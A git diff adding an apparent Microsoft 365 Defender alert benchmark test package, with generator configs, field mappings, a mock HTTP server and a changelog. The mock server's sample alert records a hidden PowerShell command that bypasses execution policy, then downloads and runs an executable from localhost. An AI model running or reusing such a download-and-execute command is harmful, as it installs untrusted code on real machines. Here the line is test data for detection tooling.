test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/data_stream/logfile/agent/stream/filestream.yml.hbs (100%) rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml (79%) rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/data_stream/logfile/fields/base-fields.yml (92%) rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/data_stream/logfile/fields/fields.yml (75%) rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/data_stream/logfile/manifest.yml (95%) rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/docs/README.md (100%) create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml new file mode 100644 index 0000000000..b9bd2a5ab3 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml @@ -0,0 +1,30 @@ +--- +description: Benchmark 100000 alert events ingested +input: httpjson +deployer: docker +vars: + login_url: http://svc-m365-defender-alert-http:8082 + client_id: xxxx + client_secret: xxxx + tenant_id: tenant_id +data_stream: + name: alert + vars: + request_url: http://svc-m365-defender-alert-http:8082 + preserve_original_event: true + preserve_duplicate_custom_fields: true + include_unknown_enum_members: true +warmup_time_period: 2s +benchmark_time_period: 1m +corpora: + input_service: + name: m365-defender-alert-http + generator: + total_events: 100000 + template: + path: ./alert-benchmark/template.ndjson + type: gotext + config: + path: ./alert-benchmark/config.yml + fields: + path: ./alert-benchmark/fields.yml diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml new file mode 100644 index 0000000000..1a8f9d906b --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml @@ -0,0 +1,136 @@ +- name: id + cardinality: 100000 +- name: providerAlertId + cardinality: 100000 +- name: incidentId + cardinality: 100000 +- name: status + enum: + - active + - new + - resolved +- name: severity + enum: + - low + - high + - medium + - critical + - informational +- name: classification + cardinality: 100000 +- name: determination + cardinality: 100000 +- name: serviceSource + cardinality: 100000 +- name: detectionSource + cardinality: 100000 +- name: productName + cardinality: 100000 +- name: detectorId + cardinality: 100000 +- name: tenantId + cardinality: 100000 +- name: title + cardinality: 100000 +- name: description + cardinality: 100000 +- name: recommendedActions + cardinality: 100000 +- name: category + cardinality: 100000 +- name: assignedTo + cardinality: 100000 +- name: alertWebUrl + cardinality: 100000 +- name: incidentWebUrl + cardinality: 100000 +- name: actorDisplayName + cardinality: 100000 +- name: threatDisplayName + cardinality: 100000 +- name: threatFamilyName + cardinality: 100000 +- name: mitreTechniques + cardinality: 100000 +- name: createdDateTime + period: -24h +- name: lastUpdateDateTime + period: -24h +- name: resolvedDateTime + period: -24h +- name: firstActivityDateTime + period: -24h +- name: lastActivityDateTime + period: -24h +- name: alertPolicyId + cardinality: 100000 +- name: additionalData + cardinality: 100000 +- name: comments + cardinality: 100000 +- name: evidence.internetMessageId + cardinality: 100000 +- name: evidence.networkMessageId + cardinality: 100000 +- name: evidence.senderIp + cardinality: 100000 +- name: evidence.@odata.type + cardinality: 100000 +- name: evidence.createdDateTime + period: -24h +- name: evidence.verdict + cardinality: 100000 +- name: evidence.remediationStatus + cardinality: 100000 +- name: evidence.remediationStatusDetails + cardinality: 100000 +- name: evidence.roles + cardinality: 100000 +- name: evidence.detailedRoles + cardinality: 100000 +- name: evidence.tags + cardinality: 100000 +- name: evidence.firstSeenDateTime + period: -24h +- name: evidence.mdeDeviceId + cardinality: 100000 +- name: evidence.azureAdDeviceId + cardinality: 100000 +- name: evidence.deviceDnsName + cardinality: 100000 +- name: evidence.osPlatform + cardinality: 100000 +- name: evidence.osBuild + cardinality: 100000 + range: + min: 10 + max: 10000 +- name: evidence.version + cardinality: 100000 +- name: evidence.healthStatus + cardinality: 100000 +- name: evidence.riskScore + cardinality: 100000 +- name: evidence.rbacGroupId + cardinality: 100000 + range: + min: 10 + max: 10000 +- name: evidence.rbacGroupName + cardinality: 100000 +- name: evidence.onboardingStatus + cardinality: 100000 +- name: evidence.defenderAvStatus + cardinality: 100000 +- name: evidence.ipInterfaces + cardinality: 100000 +- name: evidence.vmMetadata + cardinality: 100000 +- name: evidence.loggedOnUsers.accountName + cardinality: 100000 +- name: evidence.loggedOnUsers.domainName + cardinality: 100000 +- name: '@odata.context' + cardinality: 100000 +- name: value + cardinality: 100000 diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml new file mode 100644 index 0000000000..f8179a5bd8 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml @@ -0,0 +1,128 @@ +- name: id + type: keyword +- name: providerAlertId + type: keyword +- name: incidentId + type: keyword +- name: status + type: keyword +- name: severity + type: keyword +- name: classification + type: keyword +- name: determination + type: keyword +- name: serviceSource + type: keyword +- name: detectionSource + type: keyword +- name: productName + type: keyword +- name: detectorId + type: keyword +- name: tenantId + type: keyword +- name: title + type: keyword +- name: description + type: keyword +- name: recommendedActions + type: keyword +- name: category + type: keyword +- name: assignedTo + type: keyword +- name: alertWebUrl + type: keyword +- name: incidentWebUrl + type: keyword +- name: actorDisplayName + type: keyword +- name: threatDisplayName + type: keyword +- name: threatFamilyName + type: keyword +- name: mitreTechniques + type: keyword +- name: createdDateTime + type: date +- name: lastUpdateDateTime + type: date +- name: resolvedDateTime + type: date +- name: firstActivityDateTime + type: date +- name: lastActivityDateTime + type: date +- name: alertPolicyId + type: keyword +- name: additionalData + type: keyword +- name: comments + type: keyword +- name: evidence + type: group + fields: + - name: internetMessageId + type: keyword + - name: networkMessageId + type: keyword + - name: senderIp + type: keyword + - name: '@odata.type' + type: keyword + - name: createdDateTime + type: date + - name: verdict + type: keyword + - name: remediationStatus + type: keyword + - name: remediationStatusDetails + type: keyword + - name: roles + type: keyword + - name: detailedRoles + type: keyword + - name: tags + type: keyword + - name: firstSeenDateTime + type: date + - name: mdeDeviceId + type: keyword + - name: azureAdDeviceId + type: keyword + - name: deviceDnsName + type: keyword + - name: osPlatform + type: keyword + - name: osBuild + type: long + - name: version + type: keyword + - name: healthStatus + type: keyword + - name: riskScore + type: keyword + - name: rbacGroupId + type: long + - name: rbacGroupName + type: keyword + - name: onboardingStatus + type: keyword + - name: defenderAvStatus + type: keyword + - name: ipInterfaces + type: keyword + - name: vmMetadata + type: keyword + - name: loggedOnUsers + type: group + fields: + - name: accountName + type: keyword + - name: domainName + type: keyword +- name: '@odata.context' + type: keyword +- name: value + type: keyword diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson new file mode 100644 index 0000000000..fee57311fe --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson @@ -0,0 +1,59 @@ +{{- $id := generate "id" -}} +{{- $providerAlertId := generate "providerAlertId" -}} +{{- $incidentId := generate "incidentId" -}} +{{- $status := generate "status" -}} +{{- $severity := generate "severity" -}} +{{- $classification := generate "classification" -}} +{{- $determination := generate "determination" -}} +{{- $serviceSource := generate "serviceSource" -}} +{{- $detectionSource := generate "detectionSource" -}} +{{- $productName := generate "productName" -}} +{{- $detectorId := generate "detectorId" -}} +{{- $tenantId := generate "tenantId" -}} +{{- $title := generate "title" -}} +{{- $description := generate "description" -}} +{{- $recommendedActions := generate "recommendedActions" -}} +{{- $category := generate "category" -}} +{{- $assignedTo := generate "assignedTo" -}} +{{- $alertWebUrl := generate "alertWebUrl" -}} +{{- $incidentWebUrl := generate "incidentWebUrl" -}} +{{- $actorDisplayName := generate "actorDisplayName" -}} +{{- $threatDisplayName := generate "threatDisplayName" -}} +{{- $threatFamilyName := generate "threatFamilyName" -}} +{{- $mitreTechniques := generate "mitreTechniques" -}} +{{- $createdDateTime := generate "createdDateTime" | date "2006-01-02T15:04:05.000000Z" -}} +{{- $lastUpdateDateTime := generate "lastUpdateDateTime" | date "2006-01-02T15:04:05.000000Z" -}} +{{- $resolvedDateTime := generate "resolvedDateTime" | date "2006-01-02T15:04:05.000000Z" -}} +{{- $firstActivityDateTime := generate "firstActivityDateTime" | date "2006-01-02T15:04:05.000000Z" -}} +{{- $lastActivityDateTime := generate "lastActivityDateTime" | date "2006-01-02T15:04:05.000000Z" -}} +{{- $alertPolicyId := generate "alertPolicyId" -}} +{{- $additionalData := generate "additionalData" -}} +{{- $comments := generate "comments" -}} +{{- $evidenceInternetmessageid := generate "evidence.internetMessageId" -}} +{{- $evidenceNetworkmessageid := generate "evidence.networkMessageId" -}} +{{- $evidenceSenderip := generate "evidence.senderIp" -}} +{{- $evidenceCreateddatetime := generate "evidence.createdDateTime" | date "2006-01-02T15:04:05.000000Z" -}} +{{- $evidenceVerdict := generate "evidence.verdict" -}} +{{- $evidenceRemediationstatus := generate "evidence.remediationStatus" -}} +{{- $evidenceRemediationstatusdetails := generate "evidence.remediationStatusDetails" -}} +{{- $evidenceRoles := generate "evidence.roles" -}} +{{- $evidenceDetailedroles := generate "evidence.detailedRoles" -}} +{{- $evidenceTags := generate "evidence.tags" -}} +{{- $evidenceFirstseendatetime := generate "evidence.firstSeenDateTime" | date "2006-01-02T15:04:05.000000Z" -}} +{{- $evidenceMdedeviceid := generate "evidence.mdeDeviceId" -}} +{{- $evidenceAzureaddeviceid := generate "evidence.azureAdDeviceId" -}} +{{- $evidenceDevicednsname := generate "evidence.deviceDnsName" -}} +{{- $evidenceOsplatform := generate "evidence.osPlatform" -}} +{{- $evidenceOsbuild := generate "evidence.osBuild" -}} +{{- $evidenceVersion := generate "evidence.version" -}} +{{- $evidenceHealthstatus := generate "evidence.healthStatus" -}} +{{- $evidenceRiskscore := generate "evidence.riskScore" -}} +{{- $evidenceRbacgroupid := generate "evidence.rbacGroupId" -}} +{{- $evidenceRbacgroupname := generate "evidence.rbacGroupName" -}} +{{- $evidenceOnboardingstatus := generate "evidence.onboardingStatus" -}} +{{- $evidenceDefenderavstatus := generate "evidence.defenderAvStatus" -}} +{{- $evidenceIpinterfaces := generate "evidence.ipInterfaces" -}} +{{- $evidenceVmmetadata := generate "evidence.vmMetadata" -}} +{{- $evidenceLoggedonusersAccountname := generate "evidence.loggedOnUsers.accountName" -}} +{{- $evidenceLoggedonusersDomainname := generate "evidence.loggedOnUsers.domainName" -}} +{"id":"{{$id}}","providerAlertId":"{{$providerAlertId}}","incidentId":"{{$incidentId}}","status":"{{$status}}","severity":"{{$severity}}","classification":"{{$classification}}","determination":"{{$determination}}","serviceSource":"{{$serviceSource}}","detectionSource":"{{$detectionSource}}","productName":"{{$productName}}","detectorId":"{{$detectorId}}","tenantId":"{{$tenantId}}","title":"{{$title}}","description":"{{$description}}","recommendedActions":"{{$recommendedActions}}","category":"{{$category}}","assignedTo":"{{$assignedTo}}","alertWebUrl":"{{$alertWebUrl}}","incidentWebUrl":"{{$incidentWebUrl}}","actorDisplayName":"{{$actorDisplayName}}","threatDisplayName":"{{$threatDisplayName}}","threatFamilyName":"{{$threatFamilyName}}","mitreTechniques":["{{$mitreTechniques}}"],"createdDateTime":"{{$createdDateTime}}","lastUpdateDateTime":"{{$lastUpdateDateTime}}","resolvedDateTime":"{{$resolvedDateTime}}","firstActivityDateTime":"{{$firstActivityDateTime}}","lastActivityDateTime":"{{$lastActivityDateTime}}","alertPolicyId":"{{$alertPolicyId}}","additionalData":"{{$additionalData}}","comments":[{"name": "{{$comments}}"}],"evidence":[{"internetMessageId":"{{$evidenceInternetmessageid}}","networkMessageId":"{{$evidenceNetworkmessageid}}","senderIp":"{{$evidenceSenderip}}","createdDateTime":"{{$evidenceCreateddatetime}}","verdict":"{{$evidenceVerdict}}","remediationStatus":"{{$evidenceRemediationstatus}}","remediationStatusDetails":"{{$evidenceRemediationstatusdetails}}","roles":["{{$evidenceRoles}}"],"detailedRoles":["{{$evidenceDetailedroles}}"],"tags":["{{$evidenceTags}}"],"firstSeenDateTime":"{{$evidenceFirstseendatetime}}","mdeDeviceId":"{{$evidenceMdedeviceid}}","azureAdDeviceId":"{{$evidenceAzureaddeviceid}}","deviceDnsName":"{{$evidenceDevicednsname}}","osPlatform":"{{$evidenceOsplatform}}","osBuild":"{{$evidenceOsbuild}}","version":"{{$evidenceVersion}}","healthStatus":"{{$evidenceHealthstatus}}","riskScore":"{{$evidenceRiskscore}}","rbacGroupId":"{{$evidenceRbacgroupid}}","rbacGroupName":"{{$evidenceRbacgroupname}}","onboardingStatus":"{{$evidenceOnboardingstatus}}","defenderAvStatus":"{{$evidenceDefenderavstatus}}","ipInterfaces":["{{$evidenceIpinterfaces}}"],"vmMetadata":"{{$evidenceVmmetadata}}","loggedOnUsers":[{"accountName":"{{$evidenceLoggedonusersAccountname}}","domainName":"{{$evidenceLoggedonusersDomainname}}"}]}]}, diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml new file mode 100644 index 0000000000..4fcf80abe6 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml @@ -0,0 +1,61 @@ +rules: + - path: /tenant_id/oauth2/v2.0/token + methods: [POST] + query_params: + grant_type: client_credentials + request_headers: + Content-Type: + - "application/x-www-form-urlencoded" + responses: + - status_code: 200 + headers: + Content-Type: + - "application/json" + body: |- + {"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ilg1ZVhrN","token_type": "Bearer","not_before": 1549647431,"expires_in": 3600} + # Refresh token to get access token: https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow#refresh-the-access-token + - path: /tenant_id/oauth2/v2.0/token + methods: [ POST ] + query_params: + refresh_token: refresh_token_123 + grant_type: refresh_token + request_headers: + Content-Type: + - "application/x-www-form-urlencoded" + responses: + - status_code: 200 + headers: + Content-Type: + - "application/json" + body: |- + {{ minify_json ` + { + "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ilg1ZVhrN", + "token_type": "Bearer", + "expires_in": 2, + "scope": "https%3A%2F%2Fgraph.microsoft.com%2Fmail.read", + "refresh_token": "AwABAAAAvPM1KaPlrEqdFSBzjqfTGAMxZGUTdM0t4B4...", + "id_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdWQiOiIyZDRkMTFhMi1mODE0LTQ2YTctOD..." + } + `}} + - path: /v1.0/security/alerts_v2 + methods: [GET] + request_headers: + Authorization: + - "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ilg1ZVhrN" + responses: + - status_code: 200 + headers: + Content-Type: + - "application/json" + body: |- + { + "value": [ + {{- $g := glob "/var/log/corpus-*" -}} + {{- range $g -}} + {{- file . -}} + {{- end -}} + {{/* A last line of hard-coded data is required to properly close the JSON body */}} + { "id": "da2046fc02-67f1-41f5-923d-ef916d70c005_1", "providerAlertId": "2046fc02-67f1-41f5-923d-ef916d70c005_1", "incidentId": "23", "status": "new", "severity": "informational", "classification": null, "determination": null, "serviceSource": "microsoftDefenderForEndpoint", "detectionSource": "microsoftDefenderForEndpoint", "productName": "Microsoft Defender for Endpoint", "detectorId": "de54c08f-c3f5-40e3-ae58-7e3fffbc2574", "tenantId": "3adb963c-8e61-48e8-a06d-6dbb0dacea39", "title": "[Test Alert] Suspicious Powershell commandline", "description": " This is a test alert \nA suspicious Powershell commandline was found on the machine. This commandline might be used during installation, exploration, or in some cases with lateral movement activities which are used by attackers to invoke modules, download external payloads, and get more information about the system. Attackers usually use Powershell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.", "recommendedActions": " This is a test alert \n1. Examine the PowerShell commandline to understand what commands were executed. Note: the script may need to be decoded if it is base64-encoded\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert. \n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.", "category": "Execution", "assignedTo": null, "alertWebUrl": "https://security.microsoft.com/alerts/da2046fc02-67f1-41f5-923d-ef916d70c005_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", "incidentWebUrl": "https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", "actorDisplayName": null, "threatDisplayName": null, "threatFamilyName": null, "mitreTechniques": [ "T1059.001" ], "createdDateTime": "2023-10-20T09:54:06.750499Z", "lastUpdateDateTime": "2023-10-20T09:54:10.4666667Z", "resolvedDateTime": null, "firstActivityDateTime": "2023-10-20T09:51:39.5154802Z", "lastActivityDateTime": "2023-10-20T09:51:39.5154802Z", "alertPolicyId": null, "additionalData": null, "comments": [], "evidence": [ { "@odata.type": "#microsoft.graph.security.deviceEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [ "PrimaryDevice" ], "tags": [], "firstSeenDateTime": "2023-10-20T09:50:17.7383987Z", "mdeDeviceId": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", "azureAdDeviceId": "f18bd540-d5e4-46e0-8ddd-3d03a59e4e14", "deviceDnsName": "clw555test", "osPlatform": "Windows11", "osBuild": 22621, "version": "22H2", "healthStatus": "inactive", "riskScore": "high", "rbacGroupId": 0, "rbacGroupName": null, "onboardingStatus": "onboarded", "defenderAvStatus": "notSupported", "ipInterfaces": [ "192.168.5.65", "fe80::cfe4:80b:615c:38fb", "127.0.0.1", "::1" ], "vmMetadata": null, "loggedOnUsers": [] }, { "@odata.type": "#microsoft.graph.security.userEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [], "tags": [], "userAccount": { "accountName": "CDPUserIS-38411", "domainName": "AzureAD", "userSid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759", "azureAdUserId": "588d7c15-8565-448e-bc2d-57f2b7c4c58a", "userPrincipalName": "cdp.38411@crestdatasys.com", "displayName": null } }, { "@odata.type": "#microsoft.graph.security.processEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [], "tags": [], "processId": 5772, "parentProcessId": 7408, "processCommandLine": "\"cmd.exe\" ", "processCreationDateTime": "2023-10-20T09:51:19.5064237Z", "parentProcessCreationDateTime": "2023-10-20T09:34:32.0067951Z", "detectionStatus": "detected", "mdeDeviceId": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", "imageFile": { "sha1": "13e9bb7e85ff9b08c26a440412e5cd5d296c4d35", "sha256": "423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb", "fileName": "cmd.exe", "filePath": "C:\\Windows\\System32", "fileSize": 323584, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "parentProcessImageFile": { "sha1": null, "sha256": null, "fileName": "explorer.exe", "filePath": "C:\\Windows", "fileSize": 5261576, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "userAccount": { "accountName": "CDPUserIS-38411", "domainName": "AzureAD", "userSid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759", "azureAdUserId": "588d7c15-8565-448e-bc2d-57f2b7c4c58a", "userPrincipalName": "cdp.38411@crestdatasys.com", "displayName": null } }, { "@odata.type": "#microsoft.graph.security.processEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [], "tags": [], "processId": 8224, "parentProcessId": 5772, "processCommandLine": "powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\\\test-WDATP-test\\\\invoice.exe');Start-Process 'C:\\\\test-WDATP-test\\\\invoice.exe'", "processCreationDateTime": "2023-10-20T09:51:39.4997961Z", "parentProcessCreationDateTime": "2023-10-20T09:51:19.5064237Z", "detectionStatus": "detected", "mdeDeviceId": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", "imageFile": { "sha1": "a72c41316307889e43fe8605a0dca4a72e72a011", "sha256": "d783ba6567faf10fdff2d0ea3864f6756862d6c733c7f4467283da81aedc3a80", "fileName": "powershell.exe", "filePath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0", "fileSize": 491520, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "parentProcessImageFile": { "sha1": null, "sha256": null, "fileName": "cmd.exe", "filePath": "C:\\Windows\\System32", "fileSize": 323584, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "userAccount": { "accountName": "CDPUserIS-38411", "domainName": "AzureAD", "userSid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759", "azureAdUserId": "588d7c15-8565-448e-bc2d-57f2b7c4c58a", "userPrincipalName": "cdp.38411@crestdatasys.com", "displayName": null } } ] } + ] + } diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml new file mode 100644 index 0000000000..52f70ff8ab --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml @@ -0,0 +1,16 @@ +services: + m365-defender-alert-http: + image: docker.elastic.co/observability/stream:v0.20.0 + hostname: m365_defender + ports: + - 8082 + volumes: + - ./alert-http-mock-config.yml:/config.yml + - ${SERVICE_LOGS_DIR}:/var/log + environment: + PORT: 8082 + command: + - http-server + - --exit-on-unmatched-rule + - --addr=:8082 + - --config=/config.yml diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/env.yml similarity index 100% rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/env.yml rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/env.yml diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/files/sample.log b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/files/sample.log similarity index 100% rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/files/sample.log rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/files/sample.log diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/main.tf similarity index 100% rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/main.tf rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/main.tf diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/variables.tf b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/variables.tf similarity index 100% rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/variables.tf rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/tf/variables.tf diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark.yml similarity index 100% rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark.yml rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark.yml diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/config.yml similarity index 100% rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/config.yml rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/config.yml diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/fields.yml similarity index 100% rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/fields.yml rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/fields.yml diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/template.log b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/template.log similarity index 100% rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/template.log rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/tf-benchmark/template.log diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/build.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/build.yml similarity index 100% rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/build.yml rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/build.yml diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/docs/README.md b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/docs/README.md similarity index 100% rename from test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/docs/README.md rename to test/packages/benchmarks/system_benchmark_m365_defender/_dev/build/docs/README.md diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml b/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml new file mode 100644 index 0000000000..339a7f8eb4 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml @@ -0,0 +1,643 @@ +# newer versions go on top +- version: "5.11.1" + changes: + - description: Fix table formatting in README. + type: bugfix + link: https://github.com/elastic/integrations/pull/17797 +- version: "5.11.0" + changes: + - description: | + Add support for "CloudAuditEvents", "CloudProcessEvents", and + "CloudStorageAggregatedEvents" table in event data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/17612 +- version: "5.10.1" + changes: + - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines. + type: bugfix + link: https://github.com/elastic/integrations/pull/17623 +- version: "5.10.0" + changes: + - description: "Add support for \"BehaviorInfo\", \"BehaviorEntities\", \"MessageEvents\", \n\"MessageUrlInfo\", and \"MessagePostDeliveryEvents\" table in event data stream.\n" + type: enhancement + link: https://github.com/elastic/integrations/pull/17512 +- version: "5.9.0" + changes: + - description: Add client secret authentication support for Azure Event Hub with RBAC. + type: enhancement + link: https://github.com/elastic/integrations/pull/17245 +- version: "5.8.0" + changes: + - description: Improve layout by synchronizing titles and description of configuration options. Remove `Microsoft Dfender XDR` from data stream toggles. + type: enhancement + link: https://github.com/elastic/integrations/pull/17362 +- version: "5.7.0" + changes: + - description: Add tags to ingest 